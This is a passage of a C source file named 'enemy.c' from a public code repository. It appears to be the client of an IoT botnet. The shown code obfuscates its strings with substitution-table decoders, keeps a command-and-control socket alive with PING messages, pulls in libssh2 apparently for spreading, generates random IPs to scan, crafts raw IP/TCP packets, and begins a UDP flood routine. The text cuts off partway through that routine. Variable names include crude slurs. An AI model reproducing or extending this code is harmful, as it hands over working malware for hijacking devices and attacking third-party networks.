-
Notifications
You must be signed in to change notification settings - Fork 22
/
enemy.c
5179 lines (4562 loc) · 197 KB
/
enemy.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#ifdef FREEBSD
#define PATH_MAX 260
#endif
#include <dirent.h>
#include <sys/resource.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#include <netdb.h>
#include <signal.h>
#include <strings.h>
#include <string.h>
#include <sys/utsname.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <limits.h>
#include <stdio.h>
#include <poll.h>
#include <sys/un.h>
#include <stddef.h>
#include <sys/resource.h> //for max fds settings
#ifdef ENEMY
#include <assert.h>
void __assert_fail(const char * assertion, const char * file, unsigned int line, const char * function)
{
abort();
}
#include "libssh2.h"
#include "libssh2_sftp.h"
#endif
#define PR_SET_NAME 15
#define PAD_RIGHT 1
#define PAD_ZERO 2
#define PRINT_BUF_LEN 12
#define CMD_IAC 255
#define CMD_WILL 251
#define CMD_WONT 252
#define CMD_DO 253
#define CMD_DONT 254
#define OPT_SGA 3
#define BUFFER_SIZE 1024
#define PHI 0x9e3779b9
#define SOCKBUF_SIZE 1024
#define NUMITEMS(x) (sizeof(x) / sizeof((x)[0]))
#if BYTE_ORDER == BIG_ENDIAN
#define HTONS(n) (n)
#define HTONL(n) (n)
#elif BYTE_ORDER == LITTLE_ENDIAN
#define HTONS(n) (((((unsigned short)(n) & 0xff)) << 8) | (((unsigned short)(n) & 0xff00) >> 8))
#define HTONL(n) (((((unsigned long)(n) & 0xff)) << 24) | ((((unsigned long)(n) & 0xff00)) << 8) | ((((unsigned long)(n) & 0xff0000)) >> 8) | ((((unsigned long)(n) & 0xff000000)) >> 24))
#else
#error
#endif
#define INET_ADDR(o1,o2,o3,o4) (HTONL((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0)))
#define STARTUP
char hexarray[] = {
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255
};
char hexarray2[] = {
123, 78, 96, 110, 183, 190, 234, 18, 171, 91, 31, 44, 7, 239, 173, 172, 159, 222, 67, 114, 230, 199, 23, 105, 146, 129, 135, 84, 200, 175, 77, 253, 52, 156, 55, 243, 165, 130, 169, 86, 27, 211, 178, 233, 236, 220, 151, 39, 80, 235, 134, 226, 111, 207, 42, 71, 154, 208, 241, 66, 127, 223, 219, 103, 126, 164, 53, 218, 205, 157, 20, 215, 195, 104, 179, 76, 92, 98, 217, 9, 30, 115, 54, 70, 176, 188, 28, 119, 94, 128, 35, 168, 155, 8, 174, 180, 221, 144, 210, 206, 97, 81, 117, 249, 101, 25, 240, 120, 60, 212, 255, 185, 160, 203, 231, 3, 57, 228, 252, 90, 193, 34, 62, 237, 145, 216, 12, 5, 64, 201, 79, 65, 109, 133, 51, 83, 132, 17, 254, 6, 152, 58, 106, 26, 85, 224, 247, 143, 40, 63, 194, 59, 137, 196, 56, 11, 250, 166, 191, 131, 16, 167, 2, 99, 242, 38, 192, 150, 19, 89, 61, 68, 139, 46, 140, 93, 162, 147, 138, 14, 95, 225, 74, 73, 229, 251, 209, 4, 69, 248, 48, 37, 198, 24, 189, 204, 32, 88, 122, 232, 21, 75, 148, 136, 213, 186, 22, 113, 142, 245, 13, 187, 161, 108, 41, 47, 15, 141, 124, 118, 184, 238, 197, 1, 181, 49, 149, 29, 107, 227, 153, 244, 163, 43, 125, 158, 87, 100, 112, 72, 170, 202, 45, 214, 182, 36, 10, 246, 82, 121, 102, 33, 50, 177, 0, 116
};
char decoded[256];
char **decodedshit;
int numdecodes = 1;
char *eika(char *str)
{
if(strcmp(str, "") ==0) return str;
char **decodedshit2;
int x = 0, i = 0, c;
if(numdecodes > sizeof(decodedshit)/(sizeof(char)*256)) numdecodes=1;
decodedshit2 = (char**)malloc(sizeof(decodedshit));
for (i = 0; i < numdecodes - 1; i++) decodedshit2[i] = decodedshit[i];
memset(decoded, 0, sizeof(decoded));
while(x < strlen(str))
{
for(c = 0; c < sizeof(hexarray) + 1; c++)
{
if(str[x] == hexarray2[c])
{
decoded[i] = hexarray[c];
i++;
}
}
x++;
}
decodedshit2[numdecodes - 1] = decoded;
free(decodedshit);
decodedshit = decodedshit2;
// puts(decoded);
return decodedshit[numdecodes-1];
}
char encodes[] = {
'%', 'q', '*', 'K', 'C', ')', '&', 'F', '9', '8', 'f', 's', 'r', '2', 't', 'o', '4', 'b', '3', 'y', 'i', '_', ':', 'w', 'B', '>', 'z', '=', ';', '!', 'k', '?', '"', 'E', 'A', 'Z', '7', '.', 'D', '-', 'm', 'd', '<', 'e', 'x', '5', 'U', '~', 'h', ',', 'j', '|', '$', 'v', '6', 'c', '1', 'g', 'a', '+', 'p', '@', 'u', 'n'
};
char decodes[] = {
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '.', ' '
};
char **decodedgay;
char *okic(char *str)
{
char **decodedshit2;
int x = 0, i = 0, c;
decodedshit2 = (char**)malloc(sizeof(decodedgay));
for (i = 0; i < numdecodes - 1; i++) decodedshit2[i] = decodedgay[i];
memset(decoded, 0, sizeof(decoded));
while(x < strlen(str))
{
for(c = 0; c <= sizeof(encodes); c++)
{
if(str[x] == encodes[c])
{
decoded[i] = decodes[c];
i++;
}
}
x++;
}
decodedshit2[numdecodes - 1] = decoded;
free(decodedgay);
decodedgay = decodedshit2;
return decodedgay[numdecodes-1];
}
unsigned char *fdgets(unsigned char *, int, int);
int initConnection();
void RandString(unsigned char * buf, int length);
int sockprintf(int sock, char * formatStr, ...);
char * inet_ntoa(struct in_addr in );
int fd_cnc = -1, gotIP = 0;
unsigned char ldserver[41]; // EDIT SIZE HERE
uint32_t * pids;
int rangechoice = 1;
uint64_t numpids = 0;
struct in_addr ourIP;
struct in_addr ourPublicIP;
unsigned char macAddress[6] = {
0
};
int util_strlen(char *str) {
int c = 0;
while (*str++ != 0)
c++;
return c;
}
int util_stristr(char *haystack, int haystack_len, char *str) {
char *ptr = haystack;
int str_len = util_strlen(str);
int match_count = 0;
while (haystack_len-- > 0)
{
char a = *ptr++;
char b = str[match_count];
a = a >= 'A' && a <= 'Z' ? a | 0x60 : a;
b = b >= 'A' && b <= 'Z' ? b | 0x60 : b;
if (a == b)
{
if (++match_count == str_len)
return (ptr - haystack);
}
else
match_count = 0;
}
return -1;
}
void util_memcpy(void *dst, void *src, int len) {
char *r_dst = (char *)dst;
char *r_src = (char *)src;
while (len--)
*r_dst++ = *r_src++;
}
int util_strcpy(char *dst, char *src) {
int l = util_strlen(src);
util_memcpy(dst, src, l + 1);
return l;
}
void util_zero(void *buf, int len)
{
char *zero = buf;
while (len--)
*zero++ = 0;
}
char *util_fdgets(char *buffer, int buffer_size, int fd)
{
int got = 0, total = 0;
do
{
got = read(fd, buffer + total, 1);
total = got == 1 ? total + 1 : total;
}
while (got == 1 && total < buffer_size && *(buffer + (total - 1)) != '\n');
return total == 0 ? NULL : buffer;
}
int util_isdigit(char c)
{
return (c >= '0' && c <= '9');
}
int util_isalpha(char c)
{
return ((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z'));
}
int util_isspace(char c)
{
return (c == ' ' || c == '\t' || c == '\n' || c == '\12');
}
int util_isupper(char c)
{
return (c >= 'A' && c <= 'Z');
}
int util_atoi(char *str, int base)
{
unsigned long acc = 0;
int c;
unsigned long cutoff;
int neg = 0, any, cutlim;
do {
c = *str++;
} while (util_isspace(c));
if (c == '-') {
neg = 1;
c = *str++;
} else if (c == '+')
c = *str++;
cutoff = neg ? -(unsigned long)LONG_MIN : LONG_MAX;
cutlim = cutoff % (unsigned long)base;
cutoff /= (unsigned long)base;
for (acc = 0, any = 0;; c = *str++) {
if (util_isdigit(c))
c -= '0';
else if (util_isalpha(c))
c -= util_isupper(c) ? 'A' - 10 : 'a' - 10;
else
break;
if (c >= base)
break;
if (any < 0 || acc > cutoff || acc == cutoff && c > cutlim)
any = -1;
else {
any = 1;
acc *= base;
acc += c;
}
}
if (any < 0) {
acc = neg ? LONG_MIN : LONG_MAX;
} else if (neg)
acc = -acc;
return (acc);
}
char *util_itoa(int value, int radix, char *string)
{
if (string == NULL)
return NULL;
if (value != 0)
{
char scratch[34];
int neg;
int offset;
int c;
unsigned int accum;
offset = 32;
scratch[33] = 0;
if (radix == 10 && value < 0)
{
neg = 1;
accum = -value;
}
else
{
neg = 0;
accum = (unsigned int)value;
}
while (accum)
{
c = accum % radix;
if (c < 10)
c += '0';
else
c += 'A' - 10;
scratch[offset] = c;
accum /= radix;
offset--;
}
if (neg)
scratch[offset] = '-';
else
offset++;
util_strcpy(string, &scratch[offset]);
}
else
{
string[0] = '0';
string[1] = 0;
}
return string;
}
int util_strcmp(char *str1, char *str2)
{
int l1 = util_strlen(str1), l2 = util_strlen(str2);
if (l1 != l2)
return 0;
while (l1--)
{
if (*str1++ != *str2++)
return 0;
}
return 1;
}
int util_memsearch(char *buf, int buf_len, char *mem, int mem_len)
{
int i, matched = 0;
if (mem_len > buf_len)
return -1;
for (i = 0; i < buf_len; i++)
{
if (buf[i] == mem[matched])
{
if (++matched == mem_len)
return i + 1;
}
else
matched = 0;
}
return -1;
}
static uint32_t Q[4096], c = 362436;
void init_rand(uint32_t x) {
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
uint32_t rand_cmwc(void) {
uint64_t t, a = 18782;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (uint32_t)(t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
void trim(char * str) {
int i;
int begin = 0;
int end = strlen(str) - 1;
while (util_isspace(str[begin])) begin++;
while ((end >= begin) && util_isspace(str[end])) end--;
for (i = begin; i <= end; i++) str[i - begin] = str[i];
str[i - begin] = '\0';
}
static void printchar(unsigned char * * str, int c) {
if (str) { * * str = c;
++( * str);
} else(void) write(1, & c, 1);
}
static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
register int pc = 0, padchar = ' ';
if (width > 0) {
register int len = 0;
register
const unsigned char * ptr;
for (ptr = string; * ptr; ++ptr) ++len;
if (len >= width) width = 0;
else width -= len;
if (pad & PAD_ZERO) padchar = '0';
}
if (!(pad & PAD_RIGHT)) {
for (; width > 0; --width) {
printchar(out, padchar);
++pc;
}
}
for (; *string; ++string) {
printchar(out, *string);
++pc;
}
for (; width > 0; --width) {
printchar(out, padchar);
++pc;
}
return pc;
}
static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
{
unsigned char print_buf[PRINT_BUF_LEN];
register unsigned char *s;
register int t, neg = 0, pc = 0;
register unsigned int u = i;
if (i == 0) {
print_buf[0] = '0';
print_buf[1] = '\0';
return prints (out, print_buf, width, pad);
}
if (sg && b == 10 && i < 0) {
neg = 1;
u = -i;
}
s = print_buf + PRINT_BUF_LEN-1;
*s = '\0';
while (u) {
t = u % b;
if( t >= 10 )
t += letbase - '0' - 10;
*--s = t + '0';
u /= b;
}
if (neg) {
if( width && (pad & PAD_ZERO) ) {
printchar (out, '-');
++pc;
--width;
} else {
*--s = '-';
}
}
return pc + prints (out, s, width, pad);
}
static int print(unsigned char **out, const unsigned char *format, va_list args )
{
register int width, pad;
register int pc = 0;
unsigned char scr[2];
for (; *format != 0; ++format) {
if (*format == '%') {
++format;
width = pad = 0;
if (*format == '\0') break;
if (*format == '%') goto out;
if (*format == '-') {
++format;
pad = PAD_RIGHT;
}
while (*format == '0') {
++format;
pad |= PAD_ZERO;
}
for ( ; *format >= '0' && *format <= '9'; ++format) {
width *= 10;
width += *format - '0';
}
if( *format == 's' ) {
register char *s = (char *)va_arg( args, intptr_t );
pc += prints (out, s?s:"(null)", width, pad);
continue;
}
if( *format == 'd' ) {
pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
continue;
}
if( *format == 'x' ) {
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
continue;
}
if( *format == 'X' ) {
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
continue;
}
if( *format == 'u' ) {
pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
continue;
}
if( *format == 'c' ) {
scr[0] = (unsigned char)va_arg( args, int );
scr[1] = '\0';
pc += prints (out, scr, width, pad);
continue;
}
}
else {
out:
printchar (out, *format);
++pc;
}
}
if (out) **out = '\0';
va_end( args );
return pc;
}
int zprintf(const unsigned char * format, ...) {
va_list args;
va_start(args, format);
return print(0, format, args);
}
int szprintf(unsigned char * out,
const unsigned char * format, ...) {
va_list args;
va_start(args, format);
return print( & out, format, args);
}
int sockprintf(int sock, char * formatStr, ...) {
unsigned char * textBuffer = malloc(2048);
memset(textBuffer, 0, 2048);
char * orig = textBuffer;
va_list args;
va_start(args, formatStr);
print(&textBuffer, formatStr, args);
va_end(args);
orig[strlen(orig)] = '\n';
int q = send(sock, orig, strlen(orig), MSG_NOSIGNAL);
free(orig);
return q;
}
int getHost(unsigned char * hostname, struct in_addr * in) {
int result = inet_pton(AF_INET, hostname, in);
if(result != 0) {
return 0;
}
struct addrinfo hints, * servinfo, * p;
struct sockaddr_in * h;
int rv;
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
if ((rv = getaddrinfo(hostname, NULL, &hints,&servinfo)) != 0) {
return 1;
}
// loop through all the results and connect to the first we can
for (p = servinfo; p != NULL; p = p->ai_next) {
h = (struct sockaddr_in * ) p->ai_addr;
bcopy(in, &h->sin_addr, p->ai_addrlen);
}
return 0;
}
int connectTimeout(int fd, char *host, int port, int timeout)
{
struct sockaddr_in dest_addr;
fd_set myset;
struct timeval tv;
socklen_t lon;
int valopt;
long arg = fcntl(fd, F_GETFL, NULL);
arg |= O_NONBLOCK;
fcntl(fd, F_SETFL, arg);
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = HTONS(port);
if(getHost(host, &dest_addr.sin_addr)) return 0;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
if (res < 0) {
if (errno == EINPROGRESS) {
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_SET(fd, &myset);
if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
lon = sizeof(int);
getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if (valopt) return 0;
}
else return 0;
}
else return 0;
}
arg = fcntl(fd, F_GETFL, NULL);
arg &= (~O_NONBLOCK);
fcntl(fd, F_SETFL, arg);
return 1;
}
int mytoupper(int ch)
{
if(ch >= 'a' && ch <= 'z')
return ('A' + ch - 'a');
else
return ch;
}
void uppercase(unsigned char * str) {
while ( * str) { * str = mytoupper( * str);
str++;
}
}
void RandString(unsigned char * buf, int length) {
int i = 0;
for (i = 0; i < length; i++) buf[i] = (rand_cmwc() % (91 - 65)) + 65;
}
void RandBytes(unsigned char * buf, int length) {
int i = 0;
for (i = 0; i < length; i++) buf[i] = rand_cmwc() % 256;
}
int recvLine(unsigned char *buf, int bufsize)
{
memset(buf, 0, bufsize);
fd_set myset;
fd_set errors;
struct timeval tv;
tv.tv_sec = 7;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_ZERO(&errors);
FD_SET(fd_cnc, &myset);
FD_SET(fd_cnc, &errors);
int selectRtn, retryCount, dataAvailable;
if ((selectRtn = select(fd_cnc+1, &myset, NULL, &errors, &tv)) <= 0) {
if(FD_ISSET(fd_cnc, &errors)) return -1;
while(retryCount < 10)
{
sockprintf(fd_cnc, "PING");
tv.tv_sec = 30;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_ZERO(&errors);
FD_SET(fd_cnc, &myset);
FD_SET(fd_cnc, &errors);
if ((selectRtn = select(fd_cnc+1, &myset, NULL, &errors, &tv)) <= 0) {
if(FD_ISSET(fd_cnc, &errors)) return -1;
retryCount++;
continue;
}
if(FD_ISSET(fd_cnc, &errors)) return -1;
break;
}
}
if(FD_ISSET(fd_cnc, &errors)) return -1;
ioctl(fd_cnc, FIONREAD, &dataAvailable);
if(dataAvailable) {
unsigned char tmpchr;
unsigned char *cp;
int count = 0;
cp = buf;
while(bufsize-- > 1)
{
if(recv(fd_cnc, &tmpchr, 1, 0) == 0) {
*cp = 0x00;
return -1;
}
*cp++ = tmpchr;
if(tmpchr == '\n') break;
count++;
}
*cp = 0x00;
// zprintf("recv: %s\n", cp);
return count;
} else {
return 0;
}
}
int listFork() {
uint32_t parent, * newpids, i;
parent = fork();
if (parent <= 0) return parent;
numpids++;
newpids = (uint32_t * ) malloc((numpids + 1) * 4);
for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
newpids[numpids - 1] = parent;
free(pids);
pids = newpids;
return parent;
}
in_addr_t GetRandomIP(in_addr_t netmask) {
in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
return tmp ^ (rand_cmwc() & ~netmask);
}
unsigned short csum(unsigned short * buf, int count) {
register uint64_t sum = 0;
while (count > 1) {
sum += * buf++;
count -= 2;
}
if (count > 0) {
sum += * (unsigned char * ) buf;
}
while (sum >> 16) {
sum = (sum & 0xffff) + (sum >> 16);
}
return (uint16_t)(~sum);
}
/* Copyright (C) 1991,92,93,95,96,97,98,99,2000 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, write to the Free
Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
02111-1307 USA. */
#include <sys/types.h>
#include <netinet/in.h>
struct timestamp
{
uint8_t len;
uint8_t ptr;
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int flags:4;
unsigned int overflow:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
unsigned int overflow:4;
unsigned int flags:4;
#else
# error "Please fix <bits/endian.h>"
#endif
uint32_t data[9];
};
struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ihl:4;
unsigned int version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
unsigned int version:4;
unsigned int ihl:4;
#else
# error "Please fix <bits/endian.h>"
#endif
uint8_t tos;
uint16_t tot_len;
uint16_t id;
uint16_t frag_off;
uint8_t ttl;
uint8_t protocol;
uint16_t check;
uint32_t saddr;
uint32_t daddr;
/*The options start here. */
};
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl:4; /* header length */
unsigned int ip_v:4; /* version */
#elif __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v:4; /* version */
unsigned int ip_hl:4; /* header length */
#endif
uint8_t ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
uint8_t ip_ttl; /* time to live */
uint8_t ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst; /* source and dest address */
};
/*
* Time stamp option structure.
*/
struct ip_timestamp
{
uint8_t ipt_code; /* IPOPT_TS */
uint8_t ipt_len; /* size of structure (variable) */
uint8_t ipt_ptr; /* index of current entry */
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ipt_flg:4; /* flags, see below */
unsigned int ipt_oflw:4; /* overflow counter */
#elif __BYTE_ORDER == __BIG_ENDIAN
unsigned int ipt_oflw:4; /* overflow counter */
unsigned int ipt_flg:4; /* flags, see below */
#endif
uint32_t data[9];
};
/*
* User-settable options (used with setsockopt).
*/
#define TCP_NODELAY 1 /* Don't delay send to coalesce packets */
typedef uint32_t tcp_seq;
/*
* TCP header.
* Per RFC 793, September, 1981.
*/
struct tcphdr
{
uint16_t source;
uint16_t dest;
uint32_t seq;
uint32_t ack_seq;
# if __BYTE_ORDER == __LITTLE_ENDIAN
uint16_t res1:4;
uint16_t doff:4;
uint16_t fin:1;
uint16_t syn:1;
uint16_t rst:1;
uint16_t psh:1;
uint16_t ack:1;
uint16_t urg:1;
uint16_t res2:2;
# elif __BYTE_ORDER == __BIG_ENDIAN
uint16_t doff:4;
uint16_t res1:4;
uint16_t res2:2;
uint16_t urg:1;
uint16_t ack:1;
uint16_t psh:1;
uint16_t rst:1;
uint16_t syn:1;
uint16_t fin:1;
# else
# error "Adjust your <bits/endian.h> defines"
# endif
uint16_t window;
uint16_t check;
uint16_t urg_ptr;
};
enum
{
TCP_ESTABLISHED = 1,
TCP_SYN_SENT,
TCP_SYN_RECV,
TCP_FIN_WAIT1,
TCP_FIN_WAIT2,
TCP_TIME_WAIT,
TCP_CLOSE,
TCP_CLOSE_WAIT,
TCP_LAST_ACK,
TCP_LISTEN,
TCP_CLOSING /* now a valid state */
};
unsigned short tcpcsum(struct iphdr * iph, struct tcphdr * tcph) {
struct tcp_pseudo {
unsigned long src_addr;
unsigned long dst_addr;
unsigned char zero;
unsigned char proto;
unsigned short length;
}
pseudohead;
unsigned short total_len = iph->tot_len;
pseudohead.src_addr = iph->saddr;
pseudohead.dst_addr = iph->daddr;
pseudohead.zero = 0;
pseudohead.proto = IPPROTO_TCP;
pseudohead.length = HTONS(sizeof(struct tcphdr));
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
unsigned short * tcp = malloc(totaltcp_len);
memcpy((unsigned char * ) tcp, & pseudohead, sizeof(struct tcp_pseudo));
memcpy((unsigned char * ) tcp + sizeof(struct tcp_pseudo), (unsigned char * ) tcph, sizeof(struct tcphdr));
unsigned short output = csum(tcp, totaltcp_len);
free(tcp);
return output;
}
void makeIPPacket(struct iphdr * iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + packetSize;
iph->id = rand_cmwc();
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = protocol;
iph->check = 0;
iph->saddr = source;
iph->daddr = dest;
}
int sclose(int fd) {
if (3 > fd) return 1;
close(fd);
return 0;
}
int socket_connect(char * host, uint16_t port) {
struct sockaddr_in addr;
int on = 1, sock;
if(getHost(host, &addr.sin_addr)) return -1;
addr.sin_port = HTONS(port);
addr.sin_family = AF_INET;
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char * ) & on, sizeof(int));
if (sock == -1) return 0;
if (connect(sock, (struct sockaddr * ) & addr, sizeof(struct sockaddr_in)) == -1)
return 0;
return sock;
}
void sendARK(unsigned char*host, int port, int secs) {
int a = 0;
int start = time(NULL);
int sockfd, portno, n;
int serverlen;
struct sockaddr_in serveraddr;
/* socket: create the socket */
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0)
return;
/* build the server's Internet address */
bzero((char *) &serveraddr, sizeof(serveraddr));
serveraddr.sin_family = AF_INET;
if (getHost(host, & serveraddr.sin_addr)) return;
serveraddr.sin_port = HTONS(port);
/* send the message to the server */
serverlen = sizeof(serveraddr);
